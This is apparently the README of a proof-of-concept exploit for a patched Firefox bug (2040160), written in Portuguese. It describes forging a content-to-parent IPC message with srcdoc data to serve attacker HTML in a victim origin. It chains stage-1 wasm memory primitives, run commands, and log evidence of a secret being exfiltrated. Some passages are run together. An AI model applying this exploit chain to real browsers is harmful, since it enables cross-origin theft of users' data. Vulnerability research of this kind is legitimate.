
Firefox content->parent srcdoc forge (N-day, bug 2040160): PDocumentChannel forjado com SrcdocData em um URI não-about:srcdoc -> HTML do atacante servido na origem da vítima (UXSS), via injeção de caminho de envio mojo-port a partir de um processo de conteúdo comprometido
Prova de conceito: um processo de conteúdo comprometido forja uma carga de PDocumentChannel cujo nsDocShellLoadState carrega SrcdocData juntamente com um URI arbitrário. Builds vulneráveis servem o HTML do atacante como documento na origem da vítima — leitura de mesma origem + exfiltração (UXSS).
Alvo: Firefox 149.0a1 nightly @ 2fbc0748c4 (vulnerável, pré-correção), macOS arm64.
Corrigido no Firefox 152 — bug 2040160, commit 54dc16d08771 "Reject srcdoc data on non-about:srcdoc URI loads".
O processo pai desserializa um nsDocShellLoadState a partir de mensagens IPDL conteúdo→pai. O construtor vulnerável apenas rejeitava para cargas acionadas por conteúdo; não era validado. Quando um estado de carga carrega dados srcdoc com um URI que não é , o docshell constrói um canal de fluxo de entrada que serve o HTML srcdoc — e o documento resultante recebe a origem do URI.
javascript:SrcdocDataabout:srcdocA correção adiciona um FatalError no construtor IPDL do nsDocShellLoadState quando !mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI), além de asserts de endurecimento em nsDocShell e Document::StartDocumentLoad.
Bug irmão: CVE-2026-74939 (RemoteTypeOverride) — mesmo construtor, mesma mensagem transportadora, mesmo maquinário de entrega (ver ../poc-cve-2026-74939). Esta PoC reutiliza essa forja com um campo diferente invertido; nenhum RemoteTypeOverride é necessário.
srcdoc.html em http://127.0.0.1:8778 (origem A, comprometida via os primitivos wasm do estágio 1 em wasm-bytes.js).PNecko::PDocumentChannel: URI = http://localhost:8778/nav.html (origem B), SrcdocData = <HTML do atacante>, BrowsingContext de nível superior de um popup about:blank no mesmo processo — entregue pelo caminho real de envio mojo (operator new → construtor IPC::Message → Pickle::WriteBytes → MessageChannel::Send).webIsolated=http://localhost, e o docshell serve nosso HTML como documento na origem B./secret.txt (mesma origem em B — uma busca real de origem cruzada a partir de A seria bloqueada por CORS) e o exfiltra para A.Evidência (/tmp/srv.log após ./irun):
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| Arquivo | Finalidade |
|---|---|
srcdoc.html | Página PoC, executada dentro do processo de conteúdo comprometido |
forge.py | constrói a mensagem forjada (autoverificável) → forge.bin/forge.json |
wasm-bytes.js | primitivos do estágio 1: R/W arbitrário, chamadas funcref (CVE-2026-2796) |
mdrive2.py | harness marionette para iniciar e conduzir o Nightly |
irun | execução instrumentada: lldb anexado ao pai + evidência MOZ_LOG/srv.log |
profile.user.js | prefs do perfil do Firefox (fission ativado, dump habilitado) |
parse_dc.py | parser byte-exato para mensagens DocumentChannel capturadas |
captured-messages/dc_1.bin | mensagem real capturada, usada como modelo da forja |
nav.html, secret.txt | fixture da página da vítima + segredo para a demonstração |
Pré-requisitos: build vulnerável do Nightly em /Users/sid/gecko-2766/obj-browser, .venv com psutil, e um servidor web em 0.0.0.0:8778 servindo este diretório (ex.: python3 /tmp/srv.py, registrando em /tmp/srv.log).
python3 forge.py # constrói forge.bin/forge.json (autoverificável)
./irun # inicia + injeta + coleta evidência
Nota: um processo de conteúdo pode sofrer SIGSEGV no encerramento após o envio (GC sobre os objetos falsos); toda a evidência é emitida antes disso.
54dc16d08771 (MFSA 2026-57, Firefox 152)RemoteTypeOverride)